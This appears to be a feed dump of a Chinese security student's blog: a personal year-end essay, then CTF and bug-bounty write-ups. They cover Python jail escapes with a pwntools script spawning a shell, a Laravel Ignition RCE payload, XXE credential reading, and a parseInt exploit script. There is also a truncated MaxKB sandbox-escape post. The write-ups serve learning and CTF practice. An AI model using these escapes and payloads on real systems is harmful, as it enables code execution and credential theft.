&lt;p&gt;以前会一直纠结一些形而上或者是虚无主义的问题，现在看反而是很不重要了，我想我是从那囚笼中出来了吧。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/20253.jpg&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/20258.jpg&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;陪伴✨&lt;/h2&gt;
&lt;p&gt;我很喜欢安静和孤独的氛围，这很常见，但是我一直在拓宽一些媒介去达到自己理想的思考或者冥想环境，&lt;/p&gt;
&lt;p&gt;就比如说，VRC？VRC很多场景我都很喜欢，我有的时候是把它当做我虚拟的小家了吧，&lt;/p&gt;
&lt;p&gt;而且也结识了一些珍重的人，对吧Do2mi~, 经常在晚上忙完的时候去VRC旅行，之前还为了这个去配了4090，&lt;/p&gt;
&lt;p&gt;现在来看，网安用这个续航还是太短了💻。VRC和一些视觉小说的人，&lt;/p&gt;
&lt;p&gt;比如海馆的morgana，去人たち的意识载体，其实无形之中都在影响着我，&lt;/p&gt;
&lt;p&gt;让我挺过难熬的高三生涯，那时压力大的时候我还会写各种诗词，这里挑一首中原中也的春日狂想，&lt;/p&gt;
&lt;p&gt;也是我比较喜欢的&lt;/p&gt;
&lt;p&gt;愛するものが死んだ時には、 自殺しなけあなりません。&lt;/p&gt;
&lt;p&gt;愛するものが死んだ時には、 それより他に、方法がない。&lt;/p&gt;
&lt;p&gt;けれどもそれでも、業が深くて、 なほもながらふことともなつたら、&lt;/p&gt;
&lt;p&gt;奉仕の気持に、なることなんです。 奉仕の気持に、なることなんです。&lt;/p&gt;
&lt;p&gt;愛するものは、死んだのですから、 たしかにそれは、死んだのですから、&lt;/p&gt;
&lt;p&gt;もはやどうにも、ならぬのですから、 そのもののために、そのもののために、&lt;/p&gt;
&lt;p&gt;奉仕の気持に、ならなけあならない。 奉仕の気持に、ならなけあならない。&lt;/p&gt;
&lt;p&gt;VRC其实也很好锻炼一些外语，也交了一些欧洲和日本的朋友，其实来年还是很想考N1的，紧张备考中...🧊&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/20251.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;大学🍜&lt;/h2&gt;
&lt;p&gt;大学很好开发一个人的过往和成长，到大学我就一直在弄网络安全，进了学校的网安实验室，也在新生赛拿了校一，&lt;/p&gt;
&lt;p&gt;后面也陆陆续续打了很多比赛，虽然说到了大学会很忙，爱好时间会少很多，但是很充实，&lt;/p&gt;
&lt;p&gt;并且在网安方面其实我是深受lain的影响的，我的确向往平静的生活，但是我想也需要有守护这份初心的能力，&lt;/p&gt;
&lt;p&gt;于是顺理成章的前进着，不断学习，也不断成长。最近也是在vnmini比赛后成功进了V&amp;amp;N联队，&lt;/p&gt;
&lt;p&gt;也希望我早点可以产出东西哈哈，因为现在除了网络安全还要备考心理学相关的，有时候还是有点头大，&lt;/p&gt;
&lt;p&gt;不过好歹我对这些都有兴趣，就不做赘述了.🥓&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/2025.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;🎂旅行&lt;/h2&gt;
&lt;p&gt;特地放了一个特别的板块，其实这样意义对于我来说也很特别，在8月份我一个人去了日本，从冈山到高松，&lt;/p&gt;
&lt;p&gt;再到淡路岛，再到明石，神户，再到东京，然后是埼玉县的下吉田和秩父市，在日本度过了11天，&lt;/p&gt;
&lt;p&gt;漫长又美好的时光，因为是一个人所以行程极其自由，吃饭住宿交通都是自己解决，&lt;/p&gt;
&lt;p&gt;这次旅行对我来说我想意义还是很大的，见到了很多记忆中的映像，也去巡礼了一些视觉小说和动画，&lt;/p&gt;
&lt;p&gt;比如水仙和星之梦，CLANNAD，石头门，P4G，summer pockets，都是回忆吧，&lt;/p&gt;
&lt;p&gt;那边小城的氛围给我感觉都是冷冷清清，节奏也很慢，很喜欢这种感觉，之后还想去明石呆呆.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/20256.JPG&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;🍿结束碎碎念&lt;/h2&gt;
&lt;p&gt;好了都到这了，还是总结几句，其实上半年那高压氛围的记忆已经很多缺失了，不过也没啥人生是完整的，&lt;/p&gt;
&lt;p&gt;谁知道明天是不是我，我在不断死去，不过这也不重要了，因为我也看不到那一刻，&lt;/p&gt;
&lt;p&gt;还有，高中生涯结束之后我才会去怀念，高中的我明显是缺失着一些东西的，但是缺失那些事物的也是美丽的，&lt;/p&gt;
&lt;p&gt;因为我再也无法回到当时了，人总是要向前看的。至于来年~，希望网安我能强得离谱吧哈哈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/20257.jpg&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>关于PyJail绕过姿势思考(1)</title><link>https://ymsora.com/posts/pyjail%E5%A7%BF%E5%8A%BF%E6%80%9D%E8%80%83/</link><guid isPermaLink="true">https://ymsora.com/posts/pyjail%E5%A7%BF%E5%8A%BF%E6%80%9D%E8%80%83/</guid><description>写了蛮久的，算是我写得比较深的了，哈哈</description><pubDate>Mon, 22 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;关于PyJail的绕过姿势思考&lt;/h1&gt;
&lt;p&gt;灵感来源于LamentXU给我关于SCEEON一题沙箱逃逸的payload，我在想接触了PyJail的类型也不算太少了，&lt;/p&gt;
&lt;p&gt;也得浅浅总结一下。从SSTI开始说，服务器模板渲染，&lt;/p&gt;
&lt;p&gt;我们需要的是绕过题目或真实环境给我们设置的限制去rce或者写文件到可读目录，触发点比较基础的是templete_render,这一块只先写写python，&lt;/p&gt;
&lt;p&gt;一般来说无限制的情况下，过程大致就是拼接拿到动态os，又或者是拿到内置模块__builtins__，这里就不做赘述。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/ja1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后再上升为pyjail，ssti的绕过的进阶了有点像，pyjail我目前接触的其实还是贫乏，主要强调基础为主，&lt;/p&gt;
&lt;p&gt;python一切都可是对象，而对象都有类为对应蓝图，就是类，而类又共通，可以去顺着链条去找他们的类的命名空间，&lt;/p&gt;
&lt;p&gt;这样就能找到可以执行命令的类，然后可以找初始化类的方法，去找函数命名空间globals啊，然后是模块，这个我个人认为是最难理解的，&lt;/p&gt;
&lt;p&gt;模块呢它也是类，每一个文件，文件夹创建，就会返回模块，格式像&amp;lt;&apos;class s&apos;&amp;gt;&amp;lt;&apos;module a&apos;&amp;gt;之类的，&lt;/p&gt;
&lt;p&gt;然后呢一个对象的属性合集是__dict__，dict里有class，module，那都是dict的属性的一部分，当然这都是原理。&lt;/p&gt;
&lt;p&gt;逃逸的手段有很多很多，比如对象到类，到类的命名空间，再到执行命令的类，初始化函数，函数的命名空间，执行命令函数，当然这很笼统。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/ja2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然了，这种光说理论不行，给点实战之类的理论。&lt;/p&gt;
&lt;p&gt;我接触过一些栈帧逃逸，包括顶上提到的keyerror什么的逃逸，都有一些共性，那就是某个对象是可控的，&lt;/p&gt;
&lt;p&gt;也就是生命周期可控，这个对象可以是原本存在，也可以是自己制造的，比如制造各种类型的报错，&lt;/p&gt;
&lt;p&gt;而报错都是对象，对象又有对应的类·····，这样一来，只要在它可控，那就能进行逃逸的尝试，举个例子。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;s = (i for i in range(100))
k = s.gi_frame
bb = k.f_globals
print(bb)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这s就是个生成器，frame用完不会消失，而是存为frame对象可以继续调用，直到next(s)停止。这里就能拿到它的globlas，也能拿到builtins，这很有趣。&lt;/p&gt;
&lt;p&gt;当然还有栈帧逃逸:&lt;/p&gt;
&lt;p&gt;因为一切都有指向的类，异常也是如此，我们直接根据异常类造对象，就像下面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sys
try:
    raise Exception
except Exception as k:
    f = k.__traceback__
    f1 = f.tb_frame
    while f1 is not None:
        g=f1.f_globals
        if &apos;sys&apos; in g:
            print(g)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;raise Exception造一个错误对象，然后绑定到k，而这个错误对象又会绑定到错误栈上，而错误栈有自己独特的dict，也就是有f_globals，f_local等等，可以通过这些溯源拿到执行命令的模块，达到逃逸的目的。&lt;/p&gt;
&lt;p&gt;再可以举一个例子，同样是利用错误，payload如下:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(log_level=&quot;DEBUG&quot;)

io = remote(&quot;excepython.seccon.games&quot;, 5000)

# attack chain:
# [].__setattr__.__objclass__.__subclasses__()[167].__init__.__globals__[&quot;system&quot;](&quot;sh&quot;)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(b&quot;{}[f := lambda x: x[0].__getattribute__(*x[1:])]&quot;)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(b&quot;{}[f := ex.args[0], g := lambda x: f([x[0]]+x)]&quot;)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(b&apos;{}[g := ex.args, g[0][0]([[]] + [&quot;__setattr__&quot;])]&apos;)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(b&apos;{}[g := ex.args[0], g[0][0][0]([g[1]] + [&quot;__objclass__&quot;])]&apos;)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(b&apos;{}[g := ex.args[0], g[0][0][0][1]([g[1]] + [&quot;__subclasses__&quot;])]&apos;)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(b&quot;{}[g := ex.args[0], g[1]()[167]]&quot;)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(b&apos;{}[g := ex.args[0], g[0][0][0][0][0][1]([g[1]] + [&quot;__init__&quot;])]&apos;)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(
    b&apos;{}[g := ex.args[0], g[0][0][0][0][0][0][0]([g[1]] + [&quot;__globals__&quot;])[&quot;system&quot;]]&apos;
)
io.recvuntil(b&quot;jail&amp;gt;&quot;)
io.sendline(b&apos;{}[g := ex.args[0], g[1](&quot;sh&quot;)]&apos;)

# cat /flag*
# SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里就是用{}[0]这种会报keyerror的原理，然后这个keyerror是绑定到ex上的，&lt;/p&gt;
&lt;p&gt;ex因为是keyerror所绑定的所以也带有keyerror的dict，也就是有args,这个原本是报出错误的名称的，&lt;/p&gt;
&lt;p&gt;也就是我们弄的[]里放的，但是我们将其当成了容器，因为这个字符存进去也能变相取出来，这样通过这个不停绑定参数，&lt;/p&gt;
&lt;p&gt;最后加载我们需要的执行命令的方法函数。这都是对于python内部机制的探求吧我想&lt;/p&gt;
&lt;p&gt;总归都是我们能用什么，能控制什么，控制的东西如何运作，知道这些，我想，会理解更加深入吧。&lt;/p&gt;
&lt;p&gt;才疏学浅，仅供参考，其实还是以原理为主，哈哈，就到这里吧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/ja3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>关于Laravel框架的SRC杂谈</title><link>https://ymsora.com/posts/laravel/</link><guid isPermaLink="true">https://ymsora.com/posts/laravel/</guid><description>以前遇到的一个配置错误导致的命令执行</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;就像简单谈谈这个SRC，充其量一个高危，众所周知吧，Laravel是一个PHP的WEB框架对吧，这个框架定义了很多命令系统，为了能更加高效的执行，每一种Laravel都对应了 Laravel的一个类，从而构造出一套高效的命令执行SYSTEM，artisan是这个框架定义的一个寻找工具之类的，类似于pip啊或者git&lt;/p&gt;
&lt;p&gt;然后就是用调用了，去调用Facade\Ignition\Solutions\RunMigrationsSolution&lt;/p&gt;
&lt;p&gt;这是能帮你跑一个执行 migrate 的小脚本，大致总结下就是传入这个类之后服务器去解析这个和你传的参数，然后去套用它的内部方法，然后就能看看能不能执行了，如果可以就能进一步操作，进行远程RCE之类的，最后贴一下当时的payload吧。&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;​    &quot;solution&quot;: &quot;Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&quot;,&lt;/p&gt;
&lt;p&gt;​    &quot;parameters&quot;: {&lt;/p&gt;
&lt;p&gt;​        &quot;variableName&quot;: &quot;user&quot;,&lt;/p&gt;
&lt;p&gt;​        &quot;viewFile&quot;: &quot;resources/views/welcome.blade.php&quot;&lt;/p&gt;
&lt;p&gt;​    }&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;
&lt;p&gt;然后也把模拟处理源码贴一贴吧:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$class = $request-&amp;gt;input(&apos;solution&apos;);      // &quot;Facade\\Ignition\\Solutions\\RunMigrationsSolution&quot;
$parameters = $request-&amp;gt;input(&apos;parameters&apos;); // [&quot;action&quot; =&amp;gt; &quot;migrate&quot;]

$solution = new $class($parameters);  // 相当于 new RunMigrationsSolution([&quot;action&quot; =&amp;gt; &quot;migrate&quot;])
$solution-&amp;gt;run();                     // 执行这个类里面写的 run()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>LakeCTF加拿大资格赛 writeup</title><link>https://ymsora.com/posts/lakectf/</link><guid isPermaLink="true">https://ymsora.com/posts/lakectf/</guid><description>能力有限，还有一题没解出来，凑合看看吧</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;1.题目是Le Canard du Lac,开头画面是&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/3.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看看别的界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/5.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/6.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;就是一个xml接口，一个信息输入接口，然后一个登录接口，开始FUZZ测试，先试试搜索框存不存在SQL注入，发现没有反应，下一个xml，发现xml存在解析，并且能回显，但是读源文件会解析失败，尝试伪协议，使用base64编码后读取，成功读到源码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.nlark.com/yuque/0/2025/png/60825528/1764390776340-2f075b02-4cdb-4969-bf34-1b37bfa997fd.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;并且同理在config.php下读取到了管理员凭证，即账号密码，登陆进去后直接获得FLAG。&lt;/p&gt;
&lt;h1&gt;2.题目是gamblecore，源码直接给，这是js审计类题目&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&apos;express&apos;);
const session = require(&apos;express-session&apos;);
const crypto = require(&apos;crypto&apos;);
const path = require(&apos;path&apos;);
const bodyParser = require(&apos;body-parser&apos;);

const app = express();
const PORT = 3000;

app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, &apos;public&apos;)));
app.use(&apos;/audio&apos;, express.static(path.join(__dirname, &apos;audio&apos;))); // Serve mp3s from app root

app.use(session({
    secret: crypto.randomBytes(32).toString(&apos;hex&apos;),
    resave: false,
    saveUninitialized: true,
    cookie: { secure: false }
}));

// Initialize wallet
app.use((req, res, next) =&amp;gt; {
    if (!req.session.wallet) {
        req.session.wallet = {
            coins: 10e-6, // 10 microcoins
            usd: 0
        };
    }
    next();
});

// Helper for secure random float [0, 1)
function secureRandom() {
    return crypto.randomInt(0, 100000000) / 100000000;
}

app.get(&apos;/api/balance&apos;, (req, res) =&amp;gt; {
    res.json({
        coins: req.session.wallet.coins,
        microcoins: req.session.wallet.coins * 1e6,
        usd: req.session.wallet.usd
    });
});

app.post(&apos;/api/gamble&apos;, (req, res) =&amp;gt; {
    const { currency, amount } = req.body;
    
    if (![&apos;coins&apos;, &apos;usd&apos;].includes(currency)) {
        return res.status(400).json({ error: &apos;Invalid currency&apos; });
    }

    let betAmount = parseFloat(amount);
    if (isNaN(betAmount) || betAmount &amp;lt;= 0) {
        return res.status(400).json({ error: &apos;Invalid amount&apos; });
    }

    const wallet = req.session.wallet;
    
    if (currency === &apos;coins&apos;) {
        if (betAmount &amp;gt; wallet.coins) {
            return res.status(400).json({ error: &apos;Insufficient funds&apos; });
        }
    } else {
        if (betAmount &amp;gt; wallet.usd) {
            return res.status(400).json({ error: &apos;Insufficient funds&apos; });
        }
    }

    // Deduct bet
    if (currency === &apos;coins&apos;) wallet.coins -= betAmount;
    else wallet.usd -= betAmount;

    // 9% chance to win
    const win = secureRandom() &amp;lt; 0.09;
    let winnings = 0;

    if (win) {
        winnings = betAmount * 10;
        if (currency === &apos;coins&apos;) wallet.coins += winnings;
        else wallet.usd += winnings;
    }

    res.json({
        win: win,
        new_balance: currency === &apos;coins&apos; ? wallet.coins : wallet.usd,
        winnings: winnings
    });
});

app.post(&apos;/api/convert&apos;, (req, res) =&amp;gt; {
    let { amount } = req.body;

    const wallet = req.session.wallet;
    const coinBalance = parseInt(wallet.coins);
    amount = parseInt(amount);
    if (isNaN(amount) || amount &amp;lt;= 0) {
        return res.status(400).json({ error: &apos;Invalid amount&apos; });
    }
    
    if (amount &amp;lt;= coinBalance &amp;amp;&amp;amp; amount &amp;gt; 0) {
        wallet.coins -= amount;
        wallet.usd += amount * 0.01;
        return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
    } else {
        return res.status(400).json({ error: &apos;Conversion failed.&apos; });
    }
});

app.post(&apos;/api/flag&apos;, (req, res) =&amp;gt; {
    if (req.session.wallet.usd &amp;gt;= 10) {
        req.session.wallet.usd -= 10;
        res.json({ flag: process.env.FLAG || &apos;EPFL{fake_flag}&apos; }); 
    } else {
        res.status(400).json({ error: &apos;Not enough USD. You need $10.&apos; });
    }
});

app.post(&apos;/api/deposit&apos;, (req, res) =&amp;gt; {
    res.status(503).json({ error: &apos;Deposit unavailable at the moment&apos; });
});

app.post(&apos;/api/withdraw&apos;, (req, res) =&amp;gt; {
    res.status(503).json({ error: &apos;Withdrawal unavailable at the moment&apos; });
});

app.listen(PORT, () =&amp;gt; {
    console.log(`Server running on http://0.0.0.0:${PORT}`);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;定义了很多路由，那就让我们一步一步去梳理过程，先是设定一个钱包，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Initialize wallet
app.use((req, res, next) =&amp;gt; {
    if (!req.session.wallet) {
        req.session.wallet = {
            coins: 10e-6, // 10 microcoins
            usd: 0
        };
    }
    next();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化之后钱包就有10e-6的钱了，然后是game环节，这里讲下，因为后面的flag模块是判断数据库的usd是不是到了10，而不是post，所以我们改post的作用在前面，因为这里是把post上来的amount解析为浮点数，然后我们用初始的0.00000001const下注一次，然后有%91概率会输，于是我们输了之后就有了0.0000000091const，换算成科学计数法就是9.0000001e-7，然后我们看看换钱的算法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.post(&apos;/api/convert&apos;, (req, res) =&amp;gt; {
    let { amount } = req.body;

    const wallet = req.session.wallet;
    const coinBalance = parseInt(wallet.coins);
    amount = parseInt(amount);
    if (isNaN(amount) || amount &amp;lt;= 0) {
        return res.status(400).json({ error: &apos;Invalid amount&apos; });
    }
    
    if (amount &amp;lt;= coinBalance &amp;amp;&amp;amp; amount &amp;gt; 0) {
        wallet.coins -= amount;
        wallet.usd += amount * 0.01;
        return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
    } else {
        return res.status(400).json({ error: &apos;Conversion failed.&apos; });
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现coins是用parseInt处理的，这个函数处理浮点数的科学计数法会把它先解析成字符串再进行处理，于是就省略了e啥的，就成了9，然后换成了0.09$，接下来就是多线程爆破了，因为&lt;/p&gt;
&lt;p&gt;const win = secureRandom() &amp;lt; 0.09;&lt;/p&gt;
&lt;p&gt;​    let winnings = 0;&lt;/p&gt;
&lt;p&gt;也就是胜率是%9，很低，并且要连续获胜3次，usd从0.09-&amp;gt;0.9-&amp;gt;9-&amp;gt;90，这样usd就&amp;gt;10，系统就输出flag了，这里把py梭哈脚本贴上来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

BASE = &quot;https://chall.polygl0ts.ch:8148&quot;
TIMEOUT = 5
WORKERS = 10  # 并发线程数


def build_session():
    s = requests.Session()
    # 禁用环境代理
    s.trust_env = False
    s.proxies = {}
    return s


def api_get(s, path):
    return s.get(BASE + path, timeout=TIMEOUT)


def api_post(s, path, json=None):
    return s.post(BASE + path, json=json, timeout=TIMEOUT)


def get_balance(s):
    r = api_get(s, &quot;/api/balance&quot;)
    r.raise_for_status()
    return r.json()


def gamble_coin_to_magic_zone(s, wid, attempt):
    &quot;&quot;&quot;
    用 coins 赌 0.0000091，目标让 coins 掉到 9e-7 左右
    &quot;&quot;&quot;
    try:
        r = api_post(
            s, &quot;/api/gamble&quot;,
            json={&quot;currency&quot;: &quot;coins&quot;, &quot;amount&quot;: 0.0000091}
        )
        if not r.ok:
            print(f&quot;[W{wid} A{attempt}] gamble coins 请求失败，code={r.status_code}&quot;)
            return False

        b = get_balance(s)
        coins = b.get(&quot;coins&quot;, 0.0)
        print(f&quot;[W{wid} A{attempt}] 赌完 coins 后余额：{b}&quot;)

        # coins 在 (0, 1e-6) 区间基本就是我们要的 9e-7 那段
        if 0 &amp;lt; coins &amp;lt; 1e-6:
            print(f&quot;[W{wid} A{attempt}] ✅ 进入魔法区间 coins={coins}&quot;)
            return True
        else:
            print(f&quot;[W{wid} A{attempt}] ❌ 没进魔法区间 coins={coins}&quot;)
            return False

    except Exception as e:
        print(f&quot;[W{wid} A{attempt}] gamble_coin_to_magic_zone 异常: {e}&quot;)
        return False


def convert_magic(s, wid, attempt):
    &quot;&quot;&quot;
    在 coins≈9e-7 时，利用 parseInt，把 amount=9e-7 变成 9 coin -&amp;gt; 0.09 USD
    &quot;&quot;&quot;
    try:
        r = api_post(s, &quot;/api/convert&quot;, json={&quot;amount&quot;: 0.0000009})
        if not r.ok:
            print(f&quot;[W{wid} A{attempt}] convert 请求失败，code={r.status_code}&quot;)
            return False

        b = get_balance(s)
        usd = b.get(&quot;usd&quot;, 0.0)
        print(f&quot;[W{wid} A{attempt}] 兑换后余额：{b}&quot;)
        if usd &amp;gt;= 0.09 - 1e-6:
            print(f&quot;[W{wid} A{attempt}] ✅ 成功拿到初始 USD={usd}&quot;)
            return True
        else:
            print(f&quot;[W{wid} A{attempt}] ❌ 兑换后 USD 不够，usd={usd}&quot;)
            return False

    except Exception as e:
        print(f&quot;[W{wid} A{attempt}] convert_magic 异常: {e}&quot;)
        return False


def gamble_usd_to_flag(s, wid, attempt, stop_event):
    &quot;&quot;&quot;
    用 USD all-in 赌到 &amp;gt;= 10，然后买 flag。
    任一线程成功后会 stop_event.set()
    &quot;&quot;&quot;
    round_id = 0
    while not stop_event.is_set():
        round_id += 1
        try:
            b = get_balance(s)
        except Exception as e:
            print(f&quot;[W{wid} A{attempt} R{round_id}] 读取余额异常: {e}&quot;)
            return None

        usd = b.get(&quot;usd&quot;, 0.0)

        if usd &amp;gt;= 10:
            print(f&quot;[W{wid} A{attempt} R{round_id}] 🎯 USD={usd} ≥10，尝试买 flag&quot;)
            try:
                r = api_post(s, &quot;/api/flag&quot;)
                data = r.json()
            except Exception as e:
                print(f&quot;[W{wid} A{attempt} R{round_id}] /api/flag 异常: {e}, text={r.text if &apos;r&apos; in locals() else &apos;&apos;}&quot;)
                return None

            if isinstance(data, dict) and &quot;flag&quot; in data:
                print(f&quot;[W{wid} A{attempt} R{round_id}] 🏁 拿到 flag: {data[&apos;flag&apos;]}&quot;)
                return data[&quot;flag&quot;]
            else:
                print(f&quot;[W{wid} A{attempt} R{round_id}] /api/flag 返回不含 flag: {data}&quot;)
                return None

        if usd &amp;lt;= 0:
            print(f&quot;[W{wid} A{attempt} R{round_id}] 💀 USD 已归零，本 session 死亡&quot;)
            return None

        print(f&quot;[W{wid} A{attempt} R{round_id}] 💸 all-in USD = {usd}&quot;)
        try:
            r = api_post(
                s, &quot;/api/gamble&quot;,
                json={&quot;currency&quot;: &quot;usd&quot;, &quot;amount&quot;: usd}
            )
            if not r.ok:
                print(f&quot;[W{wid} A{attempt} R{round_id}] gamble usd 请求失败，code={r.status_code}&quot;)
                return None
        except Exception as e:
            print(f&quot;[W{wid} A{attempt} R{round_id}] gamble usd 异常: {e}&quot;)
            return None

        # 稍微控速，减轻服务器压力
        time.sleep(0.02)


def worker(worker_id, stop_event):
    &quot;&quot;&quot;
    单个线程的循环逻辑：
    不断新建 session -&amp;gt; 调整 coins -&amp;gt; convert -&amp;gt; 赌 usd
    任一成功拿到 flag 就返回 flag。
    &quot;&quot;&quot;
    attempts = 0
    while not stop_event.is_set():
        attempts += 1
        print(f&quot;\n[W{worker_id}] ===== 新尝试 A{attempts} 开始 =====&quot;)

        try:
            s = build_session()
            r = api_get(s, &quot;/api/balance&quot;)
            r.raise_for_status()
            print(f&quot;[W{worker_id} A{attempts}] 初始余额：{r.json()}&quot;)
        except Exception as e:
            print(f&quot;[W{worker_id} A{attempts}] 建立 session / 获取初始余额失败: {e}&quot;)
            continue

        # 1. 调整 coins 到魔法区间
        if not gamble_coin_to_magic_zone(s, worker_id, attempts):
            continue

        # 2. 利用 convert 漏洞换出 0.09 USD
        if not convert_magic(s, worker_id, attempts):
            continue

        # 3. 用 USD all-in 赌到 ≥10，再买 flag
        flag = gamble_usd_to_flag(s, worker_id, attempts, stop_event)
        if flag:
            print(f&quot;[W{worker_id}] 🎉 成功拿到 flag！结束本 worker。&quot;)
            return flag

    return None


def main():
    stop_event = threading.Event()
    flag_result = None

    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
        futures = {
            executor.submit(worker, i, stop_event): i
            for i in range(1, WORKERS + 1)
        }

        for future in as_completed(futures):
            worker_id = futures[future]
            try:
                result = future.result()
            except Exception as e:
                print(f&quot;[W{worker_id}] worker 出错：{e}&quot;)
                continue

            if result:
                flag_result = result
                stop_event.set()
                break

    if flag_result:
        print(&quot;\n================ 最终 FLAG ================&quot;)
        print(flag_result)
        print(&quot;===========================================&quot;)
    else:
        print(&quot;还没刷到 flag，可以考虑把 WORKERS 调大、或者多跑一会儿。&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>RootKB / MaxKB v2.3.1 沙箱逃逸</title><link>https://ymsora.com/posts/maxkb/</link><guid isPermaLink="true">https://ymsora.com/posts/maxkb/</guid><description>RootKB / MaxKB v2.3.1 沙箱提权小记，哈哈，第一次发博客</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;RootKB / MaxKB v2.3.1 沙箱提权小记，0day复现&lt;/h2&gt;
&lt;h3&gt;0x00 前情提要&lt;/h3&gt;
&lt;p&gt;题目环境是最新版的 MaxKB v2.3.1，后台有一个「创建工具」的功能，可以在线跑 Python 代码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一开始进去试了一下，的确是个沙箱：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;能 &lt;code&gt;os.listdir(&quot;/&quot;)&lt;/code&gt; 之类的；&lt;/li&gt;
&lt;li&gt;但是系统命令基本跑不通；&lt;/li&gt;
&lt;li&gt;可读写的目录被限制在 &lt;code&gt;/opt/maxkb-app/sandbox/&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;读取了下这个目录，发现里面有个很扎眼的文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/opt/maxkb-app/sandbox/sandbox.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这玩意一看就像是沙箱相关的 so，想着大概率和限制有关，就去翻源码了。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;0x01 关键点：v2.3.1 新增的 LD_PRELOAD&lt;/h3&gt;
&lt;p&gt;看 &lt;code&gt;tool_code.py&lt;/code&gt;，和 v2.3.0 对比，多出来一段逻辑（大意）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if self.sandbox:
    kwargs = {
        &quot;cwd&quot;: self.sandbox_path,
        &quot;env&quot;: {
            &quot;LD_PRELOAD&quot;: f&quot;{self.sandbox_path}/sandbox.so&quot;,
        },
        # ... 其他参数 ...
    }
&lt;/code&gt;&lt;/pre&gt;
